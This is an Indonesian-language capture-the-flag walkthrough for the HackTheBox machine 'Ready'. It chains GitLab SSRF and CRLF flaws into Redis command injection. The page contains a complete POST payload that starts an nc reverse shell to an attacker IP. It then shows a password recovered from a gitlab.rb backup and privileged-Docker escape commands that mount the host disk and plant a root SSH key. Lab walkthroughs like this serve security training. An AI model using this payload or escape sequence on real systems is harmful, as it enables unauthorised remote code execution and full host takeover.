Bitlab Developers
  • Introduction
  • 🐧Linux
    • Perkenalan Linux
    • DVWA: Install On Kali Linux
    • MYSQL: Kali Linux
    • How To Add Apps In Kali Linux
    • Initial Linux Installation
    • Linux: Fundamentals
    • Linux: Privilege Escalation
  • 💾HackLovers ID
    • Penestration Testing
    • Check Kerentanan Manual
    • Security Models
    • Pentesting Fundamentals
    • Metodologi Hacking
      • Metodologi By Anonputraid
    • Scope Penestration
    • Pengumpulan Informasi
    • 📑Learning Path !
  • SQL Injection
    • Perkenalan SQL-Injection
    • Examining the Database
    • Cheat Sheet
    • Union Attack
    • Subverting application logic
    • Retrieving Hidden Data
    • Blind vulnerabilities
      • Blind SQL-Injection: Triggering Conditional Responses
      • Blind SQL injection: Triggering Time Delays
      • Blind SQL Injection: Triggering SQL Errors
      • Blind SQL injection: Out Of Band (OAST)
  • ⚡Networking
    • Network Fundamental
  • Burp-Suite
    • Burp Suite: List
    • Burp Suite: Profesional Install
    • Burp Suite: The Basic
      • Burp Suite: What is Burp Suite?
      • Burp Suite: How To install
      • Burp Suite: The Dashboard
      • Burp Suite: Navigation
      • Burp Suite: Introduction to the Burp Proxy
      • Burp Suite: Connecting through the Proxy (FoxyProxy)
      • Burp Suite: Proxying HTTPS
      • Burp Suite: The Burp Suite Browser
      • Burp Suite: Scoping and Targeting
      • Burp Suite: Site Map and Issue Definitions
      • Burp Suite: Example Attack
    • Burp Suite: Repeater
      • Burp Suite: What is Repeater?
      • Burp Suite: Basic Usage
      • Burp Suite: Inspector
      • Burp Suite: Views
      • Burp Suite: Challenge
      • Burp Suite: SQLi with Repeater
    • Overview of Burp Suite
      • 📋Burp Suite: Anonputraid Tips
        • Burp Suite: Cross-Site Scripting
  • 🤖Hackthebox
    • Pekernalan Hackthebox
    • Hackthebox Machines
    • Tips & Trick
      • Basic Web Enumeration
      • SSRF & CRLF Attacks
      • Metasploit MsfVenom Apk
      • HashCat: Rules Type Base64
      • Forensic Knowledge
      • Gitlab Laboratory
      • Proxychains & DNS
  • Tryhackme
    • Perkenalan Try Hack Me
    • Learning Path
  • 🖥️Mac Os
    • Catalina Tools
      • Visual Studio Code
    • Dual Boot Kali Linux On Mac
    • How To Change Theme Refind
    • How To Remove Refind
    • Tips to Beautify Terminal
    • Macos For Hacking
    • How To Change Icon Macos
  • Pascal
    • Learning Path
    • Struktur Program Pascal
      • Judul program
      • Bagian Pernyataan/Terproses
      • Bagian Deklarasi
        • Deklarasi prosedur dan Fungsi
        • Deklarasi variabel/perubah
        • Deklarasi Tipe
        • Deklarasi Label
        • Deklarasi Konstanta
    • The Basic
      • Tipe Data
        • Tipe Data standar
          • Tipe Data Integer
          • Tipe data real
          • Tipe Data Karakter
          • Tipe Data String
          • Tipe Sata Boolean
        • Tipe Data Terdefinisi
          • Tipe Data Subjangkauan
          • Tipe Data Terbilang
          • Tipe Data Larik (array)
          • Tipe data record dan file
      • Statemen-statemen
        • Reserved Word
      • Perintah Perintah
        • Statemen Input/output
          • Read/readln(Prosedur)
          • ReadKey(fungsi)
          • Write/writeln(prosedur)
        • Statemen Pengaturan Letak Di Layer
          • Clrscr(prosedur)
          • Gotoxy(prosedur)
          • Delline(prosedur)
          • Insline(prosedur)
          • Delay(prosedur)
        • Statemen Memanipulasi String
          • Concat(fungsi)
          • Copy(fungsi)
          • Delete(prosedur)
          • Insert(Prosedur)
          • Length(fungsi)
          • Pos(fungsi)
          • Str(prosedur)
          • Val(prosedur)
          • Upcase(fungsi)
        • Statemen Perhitungan Aritmatik
          • Abs(Fungsi)
          • Arctan(fungsi)
          • Cos(fungsi)
          • Exp(fungsi)
          • Frac(fungsi)
          • Int(fungsi)
          • LN(fungsi)
          • Sin(fungsi)
          • Sqr(fungsi)
          • SQRT(fungsi)
        • Statemen Transfer Nilai Dari Suatu Variable
          • Chr(fungsi)
          • Ord(fungsi)
          • Round(fungsi)
          • Trunc(fungsi)
        • Statemen Memanipulasi Data
          • Pred(fungsi)
          • Succ(fungsi)
          • INC(fungsi)
          • DEC(fungsi)
        • Statemen Tambahan (warna,suara dan window)
          • Sound(prosedur)
          • TextMode(prosedur)
          • Window(prosedur)
          • Textbackground(prosedur)
          • TextColor(prosedur)
      • Bentuk Perulangan
        • Perulangan FOR
          • Perulangan FOR negatif
          • Perulangan FOR positif
          • Perulangan FOR tersarang
        • Perulangan WHILE-DO
      • Record
        • Deklarasi Record
        • Statemen with
        • Record Dalam Array
        • Field Record Bertipe Array
        • Tipe Data Record Dengan Field Tipe Record
      • Procedure
        • Template Latihan Proseduce
        • Parameter Dalam Procedure
        • Pengiriman parameter Secara Nilai
        • Pengiriman Parameter Secara Acuan (By Reference)
        • Procedure Memanggil Procedure Yang Lain
        • Procedure Tersarang
        • Procedure Memanggil Dirinya Sendiri (Rekursi)
      • Function
        • Rekursi Pada Function
        • Parameter Nilai Dalam Function
        • Function Dengan Parameter Acuan
        • Function tanpa parameter
      • File Teks
        • Membuat File Teks
        • Deklarasi File Teks
        • Pernyataan Rese
        • Pernyataan Rewrite
        • Pernyataan Close
      • File Binary
      • Pascal Library
        • Free Pascal Game
        • SDL: Simple DirectMedia Layer
          • SDL: Language Bindings
        • How To Install ?
      • Pascal Examples
        • Pascal Exercises
          • Exersices 1
          • Exersices 2
          • Exersices 3
          • Exersices 4
        • Pascal Quiz
          • Question 1
      • Perkenalan Pascal
  • Dart Programming
    • Install Dart On Linux
  • ⚙️Technical
    • Pengantar Sistem Informasi
    • Perkenalan UEFI & Legacy
  • Git Dan Github
    • Download Git & Setting
    • Membuat Portofolio GitHub
  • Xampp
    • Error Mysql Xampp
Powered by GitBook
On this page
  • Intro
  • Enumeration
  • Foothold
  • Lateral Movement
  • Privilege Escalation

Was this helpful?

  1. Hackthebox
  2. Tips & Trick

SSRF & CRLF Attacks

Last updated 2 years ago

Was this helpful?

Intro

HackThebox Ready Adalah Box Dengan Tingkat Kesulitan Medium , Tingkat Mechine Matrix Lebih Mengarah CVE , Application Yang Retan Di Mesin Tersebut Adalah GITLAB , Skills learned : SSRF & CRLF Attacks , Docker Escape. Skills required : Basic Web Enumeration , Basic knowledge of Linux , Basic knowledge of Docker

Ready adalah mesin Linux tingkat kesulitan menengah. Versi server GitLab yang rentan mengarah ke remote eksekusi perintah, dengan memanfaatkan kombinasi kerentanan SSRF dan CRLF. Izin buruk pada file konfigurasi yang dicadangkan dari server Gitlab, mengungkapkan kata sandi yang ternyata dapat digunakan kembali untuk root pengguna, di dalam container buruh pelabuhan. Setelah akses root diperoleh, keluar dari penampung dimungkinkan sejak itu itu berjalan dalam mode istimewa.

CTF:

  • Real Life

  • CVE

  • Enumeration

Alat Alat Hacking :

  • Nmap

  • lsblk

  • curl

  • redis-cli

  • ssh

Enumeration

Open Port :

nmap -sV -sC 10.10.10.220 -oA nmap/read

Hasil Scan Menggunakan Nmap Menunjukan Bahwa SSH , Dan Server Nginx Gitlab pada port 5080 Tersedia Di Default mereka

Kita dapat mendaftarkan akun di Github Dengan membuka bagian Register dan mengisi kolom

Setelah mendaftar, itu akan mengarahkan kita ke halaman selamat datang.

Foothold

Versi Gitlab Adalah 11.4.7. Mencari kerentanan secara online di Gitlab 11.4.7, mungkin ditemukan bahwa versi ini memiliki banyak kerentanan.

Kami memiliki alat sendawa yang telah dibuka, dan dikonfigurasi sehingga browser web kami dapat meneruskan lalu lintas ke port 8080 di mana Burp mendengarkan. Kami memilih Impor proyek dan kemudian Repo dengan URL seperti yang ditunjukkan pada gambar berikut.

Kami menempatkan beberapa nilai acak di bidang yang diperlukan, dan kemudian kami mengirimkan permintaan. Kami menetapkan kolom Gitrepository URL, Nama proyek dan siput Proyek untuk diuji dan pilih Buat proyek

Setelah permintaan ditangkap, kami mengirimkannya ke tab pengulang atau menggunakan alat curl

Protokol komunikasi Redis memungkinkan untuk mengirim data dalam ascii. Artinya, kami dapat mengirim HTTP POSTrequest ini langsung ke server Redis. Untuk melakukannya, kita harus menambahkan port tempat Redis berjalan. Ini adalah laporan 6379. Selanjutnya, kita akan menambahkan muatan yang ditemukan sebelumnya di repositori GitHub.

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":
[\"class_eval\",\"open(\'| nc 10.10.14.3 4444 -e
/bin/bash\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc564117
3e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
exec
exec

Agar ini berfungsi, kami juga mengubah protokol http: // menjadi git: //, di awal URL. Akhirnya kami mengubah nama proyek dan jalur proyek untuk membuat yang baru. Bentuk akhir dari permintaan POST akan terlihat sebagai berikut.

Catatan: Anda harus mengganti authenticity_token dengan yang sekarang, lalu lakukan hal yang sama untuk parameter namespace_id (terletak hampir di akhir permintaan POST), dan ubah IP di payload, dengan yang lokal.

utf8=%E2%9C%93&authenticity_token=5pZx%2BJP2zd3cVS6E3P0H2gfjZg3qtuvcQnXkhw0V7ePuYk7B5k4%2Bm7PSGrGs1FdRPsLLs3zSgq1c5Eb2JHlCpQ%3D%3D&project%5Bimport_url%5D=git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| nc 10.10.14.3 4444 -e/bin/bash\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
exec
exec
&project%5Bci_cd_only%5D=false&project%5Bname%5D=test1&project%5Bnamespace_id%5D=4&project%5Bpath%5D=test1&project%5Bdescription%5D=&project%5Bvisibility_level%5D=

Setelah kami menyusun permintaan, kami membuka pendengar secara lokal dan mengirim permintaan.

nc-lvp444

Jika gagal karena alasan apa pun, kami masih dapat mengubah nama dan jalur proyek di akhir permintaan POST, dari test1 ke test2 dan coba lagi. Setelah kita mendapatkan shell, kita bisa menelurkan shell PTY menggunakan perintah berikut.

python3 -c'import pty; pty.spawn("/bin/bash")

Di awal permintaan yang kami kirim ke Redis, ada instruksi POST yang mendefinisikan metode HTTPrequest. Instruksi POST juga merupakan perintah Redis. Oleh karena itu Redis akan mengeksekusinya, dan melanjutkan ke payload. Berikut adalah contoh output, ketika instruksi Redis acak tidak valid dan instruksi valid diberikan

Pada contoh di atas, kita dapat melihat bagaimana tanggapan Redis dalam instruksi yang berbeda. Ketika tes instruksi acak yang tidak valid diberikan, Redis akan merespons dengan kesalahan ERR perintah yang tidak diketahui 'test'. Ketika instruksi yang valid seperti GET atau POST diberikan, maka kesalahan hanya akan menunjukkan struktur perintah yang benar. Dalam kasus kami, permintaan dimulai dengan instruksi GET, yang akan dieksekusi oleh Redis. Tepat setelah perintah GET, Redis akan mengeksekusi payload yang memulai reverse shell kembali ke mesin lokal kita. Kerentanan CRLF memungkinkan untuk menambahkan baris baru ke permintaan, jika tidak, kami tidak akan dapat menambahkan pembayaran setelah instruksi GET. Ini akan mengakibatkan Redis menjalankan Host: 10.10.10.98:5080 tepat setelah instruksiGET dan keluar dengan kesalahan, karena ini adalah instruksi Redis yang salah. Menambahkan baris baru diperlukan untuk meletakkan muatan kami tepat sebelum Host: 10.10.10.98:5080 dan tepat setelah instruksi GET dari permintaan HTTP. Bendera pengguna terletak di /home/dude/user.txt.

Lateral Movement

Pencacahan direktori /opt mengungkapkan direktori /opt /backup

Cadangan file gitlab.rb ditemukan mengandung kredensial. File ini digunakan oleh Gitlab dan berisi konfigurasi sehingga pengguna dengan hak istimewa rendah seharusnya tidak memiliki akses membaca pada file ini.

cat /opt/backup/gitlab.rb | grep password

Mari kita periksa apakah kata sandi wW59U!ZKMbG9+*#h dapat digunakan kembali untuk root pengguna.

su root

Privilege Escalation

Dengan menjalankan perintah berikut, dimungkinkan untuk memeriksa apakah kita berada di dalam container docker atau tidak. Jika ya, maka beberapa grup kontrol akan menjadi milik buruh pelabuhan.

cat /proc/1/cgroup

Privilege Escalation Dengan menjalankan perintah berikut, dimungkinkan untuk memeriksa apakah kita berada di dalam container docker atau tidak. Jika ya, maka beberapa grup kontrol akan menjadi milik buruh pelabuhan. Selanjutnya dengan meninjau file /opt/backup/docker-compose.yml, kita dapat mengamati bahwa kontainer berjalan dengan bendera istimewa: true.

cat /opt/backup/docker-compose.yml

Ketika kontainer buruh pelabuhan berjalan dalam mode privileged dan akses root diperoleh, keluar dari kontainer kemudian dimungkinkan. Kami mencoba untuk memasang direktori / dari host, di dalam kontainer buruh pelabuhan. Tetapi pertama-tama, kita perlu menjalankan perintah berikut, untuk mendapatkan nama partisi yang akan kita pasang.

lsblk

Mari kita coba me-mount partisi sda2 ke direktori / mnt.

mount /dev/sda2 /mnt -o loop6
ls-l /mnt

Direktori / berhasil dipasang. Kami membuat kunci SSH untuk root pengguna host.

ssh-keygen -f /mnt/root/.ssh/id_rsa -P""
cp /mnt/root/.ssh/id_rsa.pub /mnt/root/.ssh/authorized_keys
cat /mnt/root/.ssh/id_rsa

Kami menyimpan kunci dalam file secara lokal dan menamainya id_rsa dan memberikan izin yang sesuai.

chmod400 id_rsa

Akhirnya kami menjalankan perintah berikut untuk terhubung.

ssh-i id_rsa root@10.10.10.220

The root flag is located in /root/root.txt.

Menavigasi ke Proyek -> Jelajahi proyek -> Beralih ke "Semua" -> mengungkapkan kode sumber CMS Drupal. Di kanan atas halaman web, kami dapat menemukan tautan Help, yang menunjukkan versi Gitlab

Ada beberapa kerentanan untuk Gitlab, tetapi kami Akan fokus pada Cara Untuk mengeksploitasi kombinasi kerentanan SSRF (CVE-2018-19571) dan CRLF (CVE-2018-19585). Menurut , kedua kerentanan terjadi di versi Gitlab ini. Kerentanan SSRF ada pada versi khusus . Kami akan memicu SSRF melalui mengimpor repositori baru dengan URL. Pertama kami membuat proyek baru

Seperti yang ditunjukkan oleh , karena kerentanan CSRF, kita dapat melewati ini menggunakan versi IPv6.

🤖
Dude/Ready-Channel
Rilis Keamanan GitLab
Redis
tambalan
16 Hackthebox- Ready Image.png
17 Hackthebox- Ready Image.png
Ready
Gitlab
Download Disini Untuk Source Code
curl
python3
redis-cli
gitlab
gitlab
lsblk
Root